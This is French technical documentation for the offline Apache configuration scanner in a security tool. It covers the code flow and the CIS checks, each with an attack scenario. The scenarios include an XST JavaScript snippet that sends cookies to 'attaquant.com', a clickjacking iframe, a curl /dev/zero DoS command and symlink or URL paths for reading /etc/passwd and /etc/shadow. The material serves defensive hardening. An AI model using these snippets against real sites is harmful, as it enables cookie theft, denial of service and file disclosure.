

CyBrain v4.1

Module d'Analyse de Configuration Serveur

`scanners/server_int.py`

Documentation technique exhaustive — du clic jusqu'au dernier octet de code

2213 lignes | 34 controles Apache | 11 controles Nginx | Analyse White-Box complete

Reference : CIS Apache HTTP Server 2.4 Benchmark v2.3.0 L2 (2026)

Chapitre 1 - Vue d'ensemble et point d'entree

1.1 Qu'est-ce que server_int.py ?

Le fichier scanners/server_int.py est le moteur d'analyse interne (White-Box) de CyBrain. Contrairement a server_ext.py, il n'etablit aucune connexion reseau : il analyse directement le contenu textuel du fichier de configuration. Son chemin complet dans le projet :

```
pfeV1.2/scanners/server_int.py (2213 lignes en v4.1)
```

Plage	Contenu
Lignes 1-68	Documentation : liste des 34 controles, references CIS et Apache Perf
Lignes 69-78	Imports : logging, re, dataclasses, datetime, enum, pathlib, typing
Lignes 73-79	class Severity — enumeration des cinq niveaux de severite
Lignes 81-91	dataclass ConfigFinding — structure d'une vulnerabilite (8 champs)
Lignes 93-140	dataclass ConfigScanResult + to_dict() — structure du resultat complet
Lignes 142-210	Parser helpers : _parse_config, _get_directive_value, _get_all_directive_values
Lignes 216-869	Controles CIS #1-#16 : ServerTokens a LimitRequestBody
Lignes 869-1358	Controles CIS #17-#24 : Security Headers a ExecCGI
Lignes 1359-1842	Controles performance #25-#34 : MPM a TLS Session Cache
Lignes 1843-1933	generate_fixed_config() — generation de la configuration corrgee
Lignes 1935-2136	_detect_config_type() + _scan_nginx_config() — support Nginx complet
Lignes 2138-2213	run_server_config_scan() — point d'entree public principal

Ce module fonctionne 100 % hors-ligne — aucune connexion reseau — analyse purement textuelle du fichier fourni.

1.2 Parcours d'execution complet depuis le clic

Etape 1 — L'utilisateur soumet le formulaire (navigateur)

L'utilisateur choisit scan_type = "server_int" et uploades son fichier httpd.conf. Le navigateur envoie :

```
POST /start-scan HTTP/1.1
Content-Type: multipart/form-data
---
scan_type=server_int
config_file=<contenu de httpd.conf>
criticality=3.0
csrf_token=<jeton CSRF>
```

Etape 2 — app.py recoit la requete (ligne 292)

```
# app.py - lignes 290-295
@app.route("/start-scan", methods=["POST"])
@require_permission("run_scan")    # verifie les droits utilisateur
@limiter.limit("5/minute")        # max 5 requetes/minute
def start_scan():
    form = ScanForm()              # validation CSRF + champs
    if not form.validate_on_submit():
        return jsonify({"error": "Donnees invalides."}), 400
```

Etape 3 — Branche server_int (ligne 356)

```
# app.py - lignes 356-396
elif scan_type == "server_int":
    upload = request.files.get("config_file")
    if not (upload and upload.filename):
        return jsonify({"error": "Fichier de config requis."}), 400

    # Verification de l'extension
    fname = upload.filename.lower()
    if not (fname.endswith(".conf") or fname.endswith(".txt")):
        return jsonify({"error": "Seuls .conf ou .txt acceptes"}), 400

    # Verification de la taille (limite 2 Mo)
    upload.seek(0, 2)              # aller en fin de fichier
    file_size = upload.tell()      # position = taille
    upload.seek(0)                 # rembobiner
    if file_size > 2 * 1024 * 1024:
        return jsonify({"error": "Fichier > 2 Mo"}), 400
```

Etape 4 — Sauvegarde temporaire dans /tmp/

```
with tempfile.NamedTemporaryFile(
    delete=False, suffix=".conf", mode="wb",
    dir=tempfile.gettempdir()
) as tmp:
    upload.save(tmp)              # ecriture des octets
    tmp_path = tmp.name           # ex : /tmp/tmpABCDEF.conf

# Lecture du contenu pour la version corrigeée ulterieure
original_config_content = open(tmp_path, encoding="utf-8", errors="replace").read()
```

Etape 5 — Appel effectif a server_int.py (ligne 396)

```
# app.py - ligne 396  <== transfert total vers server_int.py
result = run_server_config_scan(tmp_path)
# A partir d'ici : execution dans server_int.py ligne 2138
```

A partir de la ligne 396 de app.py, l'exécution se transfère entièrement vers run_server_config_scan() dans server_int.py, ligne 2138.

Etape 6 — Apres le retour de server_int.py

```
# app.py - lignes 460-480
risk_score = calculate_risk(result, criticality) # risk_engine.py
report_token = store_report(                    # database.py
    result, risk_score,
    original_config_content,
    current_user.id, current_user.username
)
log_event(action="scan_completed", ...) # audit_log
return jsonify({"scan_result": result, "risk_score": risk_score, ...})
```

Etape 7 — Nettoyage garanti (bloc finally)

```
finally:
    if tmp_path and os.path.exists(tmp_path):
        os.unlink(tmp_path) # suppression de /tmp/tmpABCDEF.conf
```

Ce bloc finally s'exécute toujours, même en cas d'exception durant l'analyse.

1.3 Tableau des fichiers et lignes impliqués

Fichier	Ligne	Evenement
app.py	42	from scanners.server_int import run_server_config_scan, generate_fixed_config
app.py	292	@app.route("/start-scan") def start_scan():
app.py	356	elif scan_type == "server_int": — debut du traitement
app.py	396	result = run_server_config_scan(tmp_path) <== appel reel
app.py	460	risk_score = calculate_risk(result, criticality)
app.py	463	report_token = store_report(...) <== sauvegarde DB
app.py	520	@app.route("/download-fixed/<token>") — telechargement corrige
app.py	585	fixed_content, change_log = generate_fixed_config(original, vulns)
server_int.py	2138	def run_server_config_scan(config_path) <== point d'entree
server_int.py	2142	result = ConfigScanResult(config_file=...) <== creation objet
server_int.py	2146	content = Path(config_path).read_text(...) <== lecture fichier
server_int.py	2157	_detect_config_type(content) <== Apache ou Nginx ?
server_int.py	2160	parsed = _parse_config(content) <== analyse du contenu
server_int.py	2163	all_findings += _check_*() x 34 <== tous les controles
server_int.py	2199	result.vulnerabilities.sort(...) <== tri par severite
server_int.py	2213	return result.to_dict() <== retour vers app.py

Chapitre 2 - Structures de donnees

Trois structures definiées en debut de server_int.py constituent le fondement du module. Chaque fonction `_check_*`() produit des ConfigFinding et tout est agreee dans un ConfigScanResult.

2.1 enum Severity — lignes 73-79

```
# server_int.py — ligne 73
class Severity(str, Enum):
    CRITICAL = "critical"
    HIGH      = "high"
    MEDIUM   = "medium"
    LOW       = "low"
    INFO      = "info"
```

Heritage double de str et Enum : `Severity.CRITICAL == "critical"` est directement vrai sans `.value`. Cela simplifie les comparaisons et garantit que toute valeur reste dans la liste definie.

Niveau	Signification	Exemples
CRITICAL	Compromission immediate possible	Require all granted sur le repertoire racine
HIGH	Danger direct, correction urgente	Directory Listing, ExecCGI, SSL faible
MEDIUM	Risque reel mais conditions supplementaires	ServerTokens, TraceEnable, AllowOverride
LOW	Recommandation ameliorative	LimitRequestLine absent, FileETag avec INode
INFO	Information sans risque immediat	MPM worker actif (pas une erreur, ameliorable)

Ordre de tri final : CRITICAL=0, HIGH=1, MEDIUM=2, LOW=3, INFO=4 — applique en fin de `run_server_config_scan()`.

2.2 dataclass ConfigFinding — lignes 81-91

```
@dataclass
class ConfigFinding:
    check:          str          # identifiant unique : "insecure_server_tokens"
    severity:        Severity     # niveau depuis l'enum ci-dessus
    title:           str          # titre court de la vulnerabilite
    description:     str          # explication detaillee du risque
    evidence:        str = ""     # preuve : "Line 15: ServerTokens Full"
    remediation:     str = ""     # etapes de correction
    line_number:     int = 0      # numero de ligne dans le fichier original
    fixed_directive: str = ""     # ligne corrigeée prete a substituer
```

`@dataclass` genere `__init__` automatiquement. Les champs avec valeurs par default (`evidence=""`) sont optionnels a l'instantiation. `fixed_directive` est utilise par `generate_fixed_config()` pour remplacer la

mauvaise ligne.

Champ	Exemple	Usage
check	"missing_server_tokens"	Cle de tri et de filtrage en base de donnees
severity	Severity.MEDIUM	Determine la position dans la liste trie
title	"ServerTokens non defini"	Affiche dans l'interface utilisateur
description	Texte detaille sur le risque	Affiche dans le rapport technique
evidence	"Line 15: ServerTokens Full"	Preuve directe depuis le fichier
remediation	"Ajouter : ServerTokens Prod"	Instructions affichees a l'utilisateur
line_number	15	Utilise par generate_fixed_config()
fixed_directive	"ServerTokens Prod"	Texte pret a substituer dans le fichier

2.3 dataclass ConfigScanResult — lignes 93-140

```
@dataclass
class ConfigScanResult:
    config_file: str = "httpd.conf" # "httpd.conf" (nom seul)
    apache_version: str = "" # si present dans un commentaire
    scanned_at: str = "" # ISO 8601
    vulnerabilities: list[ConfigFinding] = field(default_factory=list)
    info: list[ConfigFinding] = field(default_factory=list)
    error: Optional[str] = None
    total_lines: int = 0
```

`field(default_factory=list)` est obligatoire pour dataclass : une valeur par défaut [] serait partagee entre toutes les instances (piège classique Python). `vulnerabilities` contient CRITICAL/HIGH/MEDIUM/LOW ; `info` contient INFO seulement — separation qui permet a l'interface de les afficher differemment.

2.4 La methode to_dict() — lignes 102-140

```
def to_dict(self) -> dict:
    return {
        "scan_type": "server_config", # constante pour ce module
        "config_file": self.config_file,
        "apache_version": self.apache_version,
        "scanned_at": self.scanned_at,
        "total_lines": self.total_lines,
        "vulnerabilities": [
            {
                "check": f.check,
                "severity": f.severity.value, # "critical" pas
                Severity.CRITICAL
                "title": f.title,
                "description": f.description,
                "evidence": f.evidence,
                "remediation": f.remediation,
                "recommendation": f.remediation, # alias pour le frontend
                "fixed_directive": f.fixed_directive,
```

```
        "line_number":      f.line_number,
    }
    for f in self.vulnerabilities
],
"info":  [ {...} for f in self.info ],
"error": self.error,
}
```

"recommendation" est un alias pour "remediation" — le frontend historique utilise "recommendation", le backend utilise "remediation" — compatibilite sans modifier les deux cotes.

Chapitre 3 - Fonctions du parser

3.1 `_parse_config()` — lignes 142-185

Transforme le texte brut du fichier de configuration en liste structurée interrogeable.

```
def _parse_config(content: str) -> list[tuple[int, str, str]]:
    # Type retourne : list[ (line_number, directive_name_lower, value) ]
```

Etape 1 — Parcours ligne par ligne

```
for line_num, raw_line in enumerate(content.splitlines(), start=1):
    line = raw_line.strip()
    if not line or line.startswith("#"):
        continue # ignorer vides et commentaires
```

Etape 2 — Detection des balises d'ouverture de bloc

```
# <Directory "/var/www/html"> ou <VirtualHost *:443>
block_match = re.match(r"^<(\w+)\s*(.*?)>$", line, re.IGNORECASE)
if block_match:
    # "Directory" => "block_directory"
    parsed.append((line_num, f"block_{block_match.group(1).lower()}", ...))
    continue
```

Etape 3 — Detection des balises de fermeture

```
# </Directory>
close_match = re.match(r"^</(\w+)>$", line, re.IGNORECASE)
if close_match:
    parsed.append((line_num, f"block_end_{close_match.group(1).lower()}", ""))
    continue
```

Etape 4 — Directive ordinaire

```
# ServerTokens Prod => ("servertokens", "Prod")
parts = line.split(None, 1) # split sur le premier espace seulement
directive = parts[0].lower() # toujours en minuscules
value = parts[1].strip() if len(parts) > 1 else ""
parsed.append((line_num, directive, value))
```

Exemple concret complet

```
# httpd.conf :
# Commentaire ignore
ServerTokens Full
<Directory "/var/www/html">
    Options Indexes FollowSymLinks
    AllowOverride None
</Directory>
TraceEnable Off

# Resultat de _parse_config() :
```

```
[
  (2, "servertokens",      "Full"),
  (3, "block_directory",  "'/var/www/html'"),
  (4, "options",          "Indexes FollowSymLinks"),
  (5, "allowoverride",    "None"),
  (6, "block_end_directory", ""),
  (7, "traceenable",      "Off"),
]
```

Le commentaire (ligne 1) a complètement disparu. Toutes les directives sont en minuscules — cela garantit que "ServerTokens", "SERVERTOKENS" et "servertokens" donnent le même résultat.

3.2 `_get_directive_value()` — lignes 187-196

```
def _get_directive_value(parsed, directive) -> Optional[tuple[int, str]]:
    directive_lower = directive.lower()
    for line_num, name, value in parsed:
        if name == directive_lower:
            return (line_num, value) # premier match uniquement
    return None
```

Fonction la plus utilisée du module — appelée 25 fois. Elle retourne uniquement le premier match. Si ServerTokens apparaît deux fois par erreur, seule la première valeur est prise.

```
# Patron d'utilisation dans chaque _check_*() :
result = _get_directive_value(parsed, "servertokens")
if result is None:
    # directive absente => finding type "missing"
else:
    line_num, value = result
    if value.lower() not in ("prod", "productonly"):
        # valeur non sécurisée => finding type "insecure"
```

3.3 `_get_all_directive_values()` — lignes 198-207

```
def _get_all_directive_values(parsed, directive) -> list[tuple[int, str]]:
    directive_lower = directive.lower()
    return [(ln, val) for ln, name, val in parsed if name == directive_lower]
```

Utilisée une seule fois dans tout le module — dans `_check_functional_log_format()` — car LogFormat peut être défini plusieurs fois avec des noms différents, et le contrôle vérifie si l'un d'eux contient %D.

```
# Exemple : deux définitions LogFormat
LogFormat "%h %u %t \"%r\" %>s %b" common
LogFormat "%h %u %t \"%r\" %>s %b %D" functional

logformats = _get_all_directive_values(parsed, "logformat")
# = [(45, '"... common'), (46, '"... %D functional')]
has_latency = any("%d" in val.lower() for _, val in logformats)
# True car "functional" contient %D
```

Chapitre 4 - run_server_config_scan() — ligne 2138

Unique fonction publique exportée depuis server_int.py. Appelée depuis app.py ligne 396.

4.1 Lecture du fichier et initialisation (lignes 2138-2160)

```
def run_server_config_scan(config_path: str) -> dict:
    logger.info("Debut analyse config | file=%s", config_path)

    result = ConfigScanResult(
        config_file = Path(config_path).name, # "httpd.conf" sans /tmp/
        scanned_at = datetime.now(timezone.utc).isoformat(),
    )

    # errors="replace" : jamais d'exception sur caracteres non-UTF-8
    try:
        content = Path(config_path).read_text(encoding="utf-8", errors="replace")
    except OSError as e:
        result.error = f"Impossible de lire le fichier : {e}"
        return result.to_dict() # retour immediat avec l'erreur

    result.total_lines = content.count("\n") + 1
```

4.2 Detection du type de fichier (ligne 2157)

```
config_type = _detect_config_type(content)
if config_type == "nginx":
    return _scan_nginx_config(config_path, content, result) # chemin Nginx

# Apache : extraction optionnelle de la version depuis un commentaire
version_comment = re.search(r"apache[/ ](\d+\.\d+\.\d+)", content, re.IGNORECASE)
if version_comment:
    result.apache_version = version_comment.group(1) # ex : "2.4.51"

parsed = _parse_config(content)
```

4.3 Execution des 34 controles (lignes 2163-2197)

```
all_findings: list[ConfigFinding] = []

# — Securite CIS —————
all_findings += _check_server_tokens(parsed) # L.216 [#1]
all_findings += _check_server_signature(parsed) # L.261 [#2]
all_findings += _check_directory_listing(parsed) # L.293 [#3]
all_findings += _check_follow_symlinks(parsed) # L.332 [#4]
all_findings += _check_ssl_settings(parsed) # L.367 [#5,6,7]
all_findings += _check_dangerous_modules(parsed) # L.444 [#8]
all_findings += _check_trace_method(parsed) # L.487 [#9]
all_findings += _check_timeout_settings(parsed) # L.519 [#10]
all_findings += _check_access_control(parsed) # L.548 [#11]
all_findings += _check_expose_php(parsed) # L.586 [#12]
all_findings += _check_limit_request_line(parsed) # L.619 [#13]
```

```

all_findings += _check_limit_request_fields(parsed) # L.686 [#14]
all_findings += _check_limit_request_field_size(parsed) # L.751 [#15]
all_findings += _check_limit_request_body(parsed) # L.802 [#16]
all_findings += _check_security_headers(parsed, content) # L.869 [#17]
all_findings += _check_http_methods(parsed, content) # L.990 [#18]
all_findings += _check_allow_override(parsed) # L.1033[#19]
all_findings += _check_keep_alive(parsed) # L.1072[#20]
all_findings += _check_logging(parsed) # L.1125[#21]
all_findings += _check_mod_security(parsed, content) # L.1213[#22]
all_findings += _check_file_etag(parsed) # L.1266[#23]
all_findings += _check_exec_cgi(parsed) # L.1316[#24]
# — Performance fonctionnelle —
all_findings += _check_mpm_mode(content) # L.1359[#25]
all_findings += _check_max_request_workers(parsed) # L.1412[#26]
all_findings += _check_max_connections_per_child(parsed) # L.1472[#27]
all_findings += _check_keep_alive_requests(parsed) # L.1513[#28]
all_findings += _check_compression_and_cache(content) # L.1557[#29]
all_findings += _check_functional_log_format(parsed) # L.1606[#30]
all_findings += _check_sendfile_mmap(parsed) # L.1643[#31]
all_findings += _check_mod_rewrite_security(content) # L.1680[#32]
all_findings += _check_tls_session_cache(parsed) # L.1718[#33]
all_findings += _check_mpm_params(parsed) # L.1760[#34]

```

Point cle : chaque `_check_*`() retourne [] si la configuration est correcte. L'opérateur `+=` fusionne les listes. L'exécution ne s'arrete jamais sur une vulnerabilite — les 34 controles s'executent toujours jusqu'au bout.

4.4 Separation, tri et retour (lignes 2199-2213)

```

# Separation : INFO dans liste distincte
for finding in all_findings:
    if finding.severity == Severity.INFO:
        result.info.append(finding)
    else:
        result.vulnerabilities.append(finding)

# Tri descendant : CRITICAL en premier
severity_order = {CRITICAL:0, HIGH:1, MEDIUM:2, LOW:3, INFO:4}
result.vulnerabilities.sort(key=lambda f: severity_order[f.severity])

logger.info("Analyse terminee | findings=%d", len(result.vulnerabilities))
return result.to_dict() # dict retourne a app.py ligne 396

```

Chapitre 5 - Controles de securite CIS (#1 a #24)

Chaque controle est presente dans l'ordre d'execution exact de `run_server_config_scan()`. Pour chacun : numero de ligne precis dans `server_int.py`, logique du code, et scenario d'attaque.

5.1 `_check_server_tokens()` — ligne 216 [#1 CIS 2.2]

Severite possible : MEDIUM — divulgue la version Apache, OpenSSL et l'OS dans chaque reponse HTTP.

Logique du code

```
result = _get_directive_value(parsed, "servertokens")
if result is None:
    # absent => default Full ou OS => MEDIUM
    findings.append(ConfigFinding(check="missing_server_tokens",
    severity=Severity.MEDIUM, ...))
else:
    line_num, value = result
    if value.lower() not in ("prod", "productonly"):
        # toute valeur autre que prod => MEDIUM
        findings.append(ConfigFinding(check="insecure_server_tokens",
        evidence=f"Line {line_num}: ServerTokens {value}", ...))
```

Valeur	En-tete HTTP Server envoye	Risque
Full (default)	Server: Apache/2.4.51 (Ubuntu) OpenSSL/1.1.1l	Divulgue version + OS + librairies
OS	Server: Apache/2.4.51 (Ubuntu)	Divulgue version + OS
Minor	Server: Apache/2.4	Divulgue version majeure
Major	Server: Apache	Divulgue uniquement le nom
Prod OK	Server: Apache	Seul reglage securise

Scenario d'attaque

```
curl -sI http://cible.com/ | grep Server
Server: Apache/2.4.49 (Ubuntu) OpenSSL/1.1.1f

# L'attaquant cherche dans le NVD :
# Apache 2.4.49 => CVE-2021-41773 (Path Traversal & RCE)
# OpenSSL 1.1.1f => CVE-2022-0778 (boucle infinie)
# Exploitation directe sans tentatives a l'aveugle

# Correction :
ServerTokens Prod # envoie uniquement "Server: Apache"
```

5.2 `_check_server_signature()` — ligne 261 [#2 CIS 2.3]

Severite : LOW — ajoute une signature Apache en bas des pages d'erreur generees automatiquement.

```

result = _get_directive_value(parsed, "serversignature")
if result is None or result[1].lower() != "off":
    # absent ou valeur != off => LOW

```

Meme avec ServerTokens Prod, ServerSignature On ajoute en bas de la page 404 :

```
<address>Apache/2.4.51 Server at exemple.com Port 80</address>
```

Les deux directives doivent etre configurees ensemble : ServerTokens Prod + ServerSignature Off.

5.3 _check_directory_listing() — ligne 293 [#3 CIS 3.6]

Severite : HIGH — Options Indexes expose la liste des fichiers du repertoire.

Logique du code — parcours de toutes les lignes Options

```

for line_num, directive, value in parsed:
    if directive != "options": continue
    # "+Indexes" ou "-Indexes" sont normalises en "indexes" par lstrip("+ -")
    options = [o.strip().lstrip("+ -").lower() for o in value.split()]
    if "indexes" in options:
        clean_opts = [o for o in value.split() if o.lstrip("+ -").lower() != "indexes"]
        fixed_opts = " ".join(["-Indexes"] + clean_opts).strip()
        findings.append(ConfigFinding(check="directory_listing_enabled",
                                      severity=Severity.HIGH,
                                      fixed_directive=f"Options {fixed_opts}", ...))

```

Scenario d'attaque

```

# /var/www/html/uploads/ sans index.html
# L'attaquant voit dans son navigateur :
# Index of /uploads
# backup_2024_full.zip          25-Jan-2024  1.2G
# database_export.sql          10-Jan-2024  450M
# config_backup.tar.gz         05-Jan-2024  120M
# Telechargement direct, zero exploitation

```

Un finding distinct est genere pour chaque ligne Options contenant Indexes — plusieurs Directory blocks peuvent produire plusieurs findings.

5.4 _check_follow_symlinks() — ligne 332 [#4 CIS 3.7]

Severite : MEDIUM — FollowSymLinks sans SymLinksIfOwnerMatch permet de sortir du DocumentRoot.

```

for line_num, directive, value in parsed:
    if directive != "options": continue
    options = [o.strip().lstrip("+ -").lower() for o in value.split()]
    has_follow      = "followsymlinks" in options
    has_owner_only  = "symlinksifownermatch" in options
    if has_follow and not has_owner_only:
        findings.append(...) # risque

```

Difference fondamentale

```
# FollowSymLinks : suit le lien quelle que soit l'appartenance
ln -s /etc/passwd /var/www/html/uploads/passwd.txt
http://cible.com/uploads/passwd.txt => affiche /etc/passwd

# SymLinksIfOwnerMatch : suit uniquement si proprietaire identique
# proprio lien = www-data, proprio /etc/passwd = root => refuse => securise
```

5.5 _check_ssl_settings() — ligne 367 [#5 #6 #7 CIS 7.x]

Trois controles dans une seule fonction : SSLProtocol + SSLCipherSuite + SSLHonorCipherOrder.

Partie 1 — SSLProtocol

```
ssl_proto = _get_directive_value(parsed, "sslprotocol")
if ssl_proto:
    weak_protocols = ["sslv2", "sslv3", "tlsv1 ", "+tlsv1 ", "tlsv1.1", "+tlsv1.1"]
    for weak in weak_protocols:
        if weak in value_lower:
            findings.append(ConfigFinding(check="weak_ssl_protocol",
severity=Severity.HIGH, ...))
            break # un seul finding par directive
else:
    # absent => risque de protocoles anciens => MEDIUM
```

Protocole	Attaque	Details	Severite
SSLv2	DROWN 2016	RC4/DES cassables statistiquement	CRITICAL
SSLv3	POODLE 2014	CBC padding oracle, dechiffrement de cookies	CRITICAL
TLS 1.0	BEAST 2011	CBC chained IV, attaque HTTPS	HIGH
TLS 1.1	RFC 8996	Obsolete officiellement	HIGH
TLS 1.2 OK	—	Sur avec bons chiffres	—
TLS 1.3 OK	—	Plus recent et plus rapide	—

Partie 2 — SSLCipherSuite

```
dangerous = ["null", "export", "des", "rc4", "md5", "anon"]
for dc in dangerous:
    if dc in value_lower() and f"!{dc}" not in value_lower():
        # dc present et pas exclu explicitement par !dc
        findings.append(...)
# Exemple sur : "HIGH:!aNULL:!MD5:!RC4" => !RC4 exclut RC4
# Exemple dangereux : "HIGH:RC4" => RC4 present sans !
```

Partie 3 — SSLHonorCipherOrder

```
honor = _get_directive_value(parsed, "sslhonorcipherorder")
if not honor or honor[1].lower() != "on":
    # absent ou Off => le client peut imposer un chiffre faible => MEDIUM
```

```
# Configuration complete correcte :  
SSLProtocol all -SSLv3 -TLSv1 -TLSv1.1  
SSLCipherSuite HIGH:!aNULL:!MD5:!3DES:!RC4  
SSLHonorCipherOrder On
```

5.6 `_check_dangerous_modules()` — ligne 444 [#8 CIS 4.x]

Severite : HIGH/MEDIUM — detecte les LoadModule de modules dangereux ou inutiles.

```
dangerous_modules = {
    "mod_status": (Severity.HIGH, "expose /server-status"),
    "mod_info": (Severity.HIGH, "expose /server-info"),
    "mod_userdir": (Severity.MEDIUM, "URLs ~username"),
    "mod_autoindex": (Severity.MEDIUM, "Directory Listing automatique"),
    "mod_cgi": (Severity.MEDIUM, "execution de scripts CGI"),
    "mod_include": (Severity.LOW, "Server-Side Includes"),
}

for line_num, directive, value in parsed:
    if directive != "loadmodule": continue
    # "modules/mod_status.so" => stem() => "mod_status"
    module_name = Path(value.split()[-1]).stem
    if module_name in dangerous_modules:
        findings.append(...)
```

Module	Severite	Scenario de danger
mod_status	HIGH	http://site/server-status : tous les workers actifs, requetes, durees en temps reel
mod_info	HIGH	http://site/server-info : tous les modules charges et leur configuration complete
mod_userdir	MEDIUM	http://site/~admin/ : enumeration des noms d'utilisateurs
mod_autoindex	MEDIUM	Directory Listing automatique pour tout repertoire sans index.html
mod_cgi	MEDIUM	Execution de .cgi comme programme — RCE si repertoire inscriptible

5.7 `_check_trace_method()` — ligne 487 [#9 CIS 5.3]

Severite : MEDIUM — TraceEnable permet l'attaque Cross-Site Tracing (XST).

```
result = _get_directive_value(parsed, "traceenable")
if result is None or result[1].lower() != "off":
    # absent (default On) ou Extended => MEDIUM
```

Attaque XST — vol de cookies meme avec HttpOnly

```
// Page malveillante envoyant TRACE :
var xhr = new XMLHttpRequest();
xhr.open("TRACE", "https://banque.fr/", true);
xhr.onload = function() {
    // La reponse contient tous les headers dont Cookie
    fetch("https://attaquant.com/steal?d=" + xhr.responseText);
};
xhr.send();

# Reponse Apache avec TraceEnable On :
TRACE / HTTP/1.1
Host: banque.fr
Cookie: session=JETON_SECRET => envoie a l'attaquant
```

Danger particulier : HttpOnly empeche JavaScript de lire document.cookie. Mais TRACE retourne les headers dans le corps de la reponse HTTP — ce n'est pas une lecture JS du cookie, c'est une reponse HTTP ordinaire.

5.8 _check_timeout_settings() — ligne 519 [#10]

Severite : LOW — Timeout > 60s facilite les attaques Slowloris DoS.

```
if result:
    timeout_val = int(value)
    if timeout_val > 60:
        findings.append(ConfigFinding(check="high_timeout", severity=Severity.LOW, ...))
```

Attaque Slowloris : l'attaquant ouvre 1000 connexions et envoie des headers tres lentement, juste en dessous du Timeout. Apache maintient tous les workers occupes a attendre la completion de ces requetes lentes, bloquant les requetes legitimes.

5.9 _check_access_control() — ligne 548 [#11 CIS 3.x]

Severite : CRITICAL — "Require all granted" sur le repertoire racine ouvre tous les fichiers.

Machine a etats pour le suivi

```
in_root_block = False
for line_num, directive, value in parsed:
    if directive == "block_directory":
        cleaned = value.strip(chr(34)).strip(chr(39))
        if cleaned in ("/", "/*"):
            in_root_block = True
    elif directive.startswith("block_end_"):
        in_root_block = False
    elif in_root_block and directive == "require":
        if "all granted" in value.lower():
            findings.append(ConfigFinding(check="root_directory_all_granted",
                                         severity=Severity.CRITICAL, ...))
```

Pourquoi CRITICAL ?

```
# Reglage dangereux :
<Directory />
    Require all granted    => acces a TOUS les fichiers du serveur
</Directory>

# L'attaquant peut demander :
http://cible.com/etc/passwd
http://cible.com/etc/shadow
http://cible.com/home/admin/.ssh/id_rsa

# Reglage correct :
<Directory />
    Require all denied     => tout ferme par default
</Directory>
```

5.10 _check_expose_php() — ligne 586 [#12]

Severite : LOW — expose_php envoie la version PHP dans chaque reponse HTTP.

```
for directive in ("php_admin_value", "php_value", "php_flag", "php_admin_flag"):
    for line_num, name, value in parsed:
        if name == directive and "expose_php" in value.lower():
            if "on" in value.lower().split()[-1]:
                findings.append(...)
```

Avec expose_php = On : X-Powered-By: PHP/8.1.5 dans chaque reponse. L'attaquant connait la version exacte et recherche ses CVE correspondants.

5.11 _check_limit_request_line() — ligne 619 [#13 CIS 5.4 L2]

Severite : LOW/MEDIUM/HIGH — limite la longueur de la premiere ligne HTTP (Method + URI + Protocol).

```
result = _get_directive_value(parsed, "limitrequestline")
if result is None:
    # default 8190 acceptable, CIS L2 exige declaration explicite => LOW
elif val == 0:
    # zero = pas de limite => HIGH
elif val > 8190:
    # depasse recommandation CIS => MEDIUM
# val entre 1 et 8190 => securise, pas de finding
```

Valeur	Interpretation	Severite
Absent	8190 par default, CIS L2 requiert declaration	LOW
= 0	Aucune limite — URI sans fin	HIGH
1 - 8190	Securise OK	—
> 8190	Depasse recommandation CIS	MEDIUM

Scenario d'exploitation d'URI long

```
# URI de 50 Ko dans une requete CGI :
GET /cgi-bin/search.cgi?q=AAAA...(50000 caracteres) HTTP/1.1
# Certains scripts CGI transmettent QUERY_STRING comme variable d'environnement
# Limite env Linux env 128 Ko => URI long => remplissage stack => Stack Overflow => RCE
```

5.12 _check_limit_request_fields() — ligne 686 [#14 CIS 5.5 L2]

Severite : LOW/MEDIUM/HIGH — limite le nombre de headers HTTP par requete.

```
if result is None: # LOW - default 100 acceptable
elif val == 0:     # HIGH - sans limite
elif val > 100:    # MEDIUM - depasse CIS
```

Attaque HTTP Header Flooding

```
# Envoi de 50 000 headers dans une seule requete :
GET / HTTP/1.1
X-Custom-1: AAAA
...
X-Custom-50000: AAAA
# Apache alloue de la memoire pour chaque header
# => Memory Exhaustion => OOM Killer => crash Apache
```

5.13 _check_limit_request_field_size() — ligne 751 [#15 CIS 5.6 L2]

Severite : LOW/MEDIUM — limite la taille de chaque header HTTP.

```
if result is None: # LOW - default 8190 acceptable
elif val > 8190:   # MEDIUM - depasse CIS
```

Risque d'un header surdimensionne

```
# Header Cookie de 1 Mo :  
Cookie: session=AAAA...(1 048 576 caracteres)  
# mod_auth_cookie tente d'analyser la valeur  
# Buffer fixe en interne => Stack Overflow potentiel  
# ou mod_proxy transmet le header au backend => peut le faire crasher
```

5.14 _check_limit_request_body() — ligne 802 [#16 CIS 5.7 L2]

Severite : MEDIUM (absent) / HIGH (= 0) / LOW (> 10 Mo)

```
if result is None:  
    # default 0 = sans limite => risque reel => MEDIUM  
elif val == 0:  
    # sans limite explicite => HIGH  
elif val > 10 * 1024 * 1024: # > 10 Mo  
    # trop grand => LOW
```

Seul controle generant MEDIUM quand il est absent (default 0 = danger reel). Tous les autres controles generent LOW en cas d'absence.

```
# DoS en une ligne :  
curl -X POST http://cible.com/upload --data-binary @/dev/zero  
# /dev/zero produit des donnees infiniment  
# Apache lit et stocke en memoire sans s'arreter => OOM => crash
```

5.15 _check_security_headers() — ligne 869 [#17 OWASP/CIS]

Severite : HIGH/MEDIUM/LOW — verifie 6 en-tetes de securite HTTP. Travaille sur raw_content (pas parsed) car les directives Header ont de nombreuses formes valides.

```
content_lower = raw_content.lower()
for key, name, severity, check_id, desc, fix in headers_to_check:
    pattern = rf"header\s+(always\s+)?set\s+{re.escape(key)}"
    if not re.search(pattern, content_lower):
        findings.append(ConfigFinding(check=check_id, severity=severity, ...))
```

En-tete	Severite	Attaque protegee
X-Frame-Options	HIGH	Clickjacking : page malveillante integrant le site dans un iframe invisible
Strict-Transport-Security	HIGH	SSL Stripping : MiTM force le navigateur vers HTTP au lieu d'HTTPS
Content-Security-Policy	HIGH	XSS : injection de JavaScript depuis sources externes
X-Content-Type-Options	MEDIUM	MIME Sniffing : un fichier texte execute comme JavaScript
X-XSS-Protection	LOW	XSS sur anciens navigateurs : filtre supplementaire
Referrer-Policy	LOW	Fuite d'URL : Referer complet envoie vers sites tiers

Scenario Clickjacking complet

```
<!-- Page de l'attaquant : arnaque-cadeaux.com -->
<iframe src="https://mabanque.fr/virement?vers=ATTAQUANT&montant=5000"
    style="opacity: 0.001; position: absolute; top: 0; left: 0;">
</iframe>
<button style="position: absolute; top: 100px; left: 200px;">
    Cliquez pour recevoir votre cadeau !
</button>
<!-- L'utilisateur croit cliquer sur "cadeau" mais clique sur "valider virement" -->
<!-- Avec X-Frame-Options SAMEORIGIN : le navigateur refuse l'iframe -->
```

5.16 _check_http_methods() — ligne 990 [#18 OWASP]

Severite : MEDIUM — verifie la presence de LimitExcept pour restreindre les methodes HTTP.

```
if not re.search(r"limitexcept\s+", raw_content, re.IGNORECASE):
    findings.append(ConfigFinding(check="missing_limit_except",
    severity=Severity.MEDIUM, ...))
```

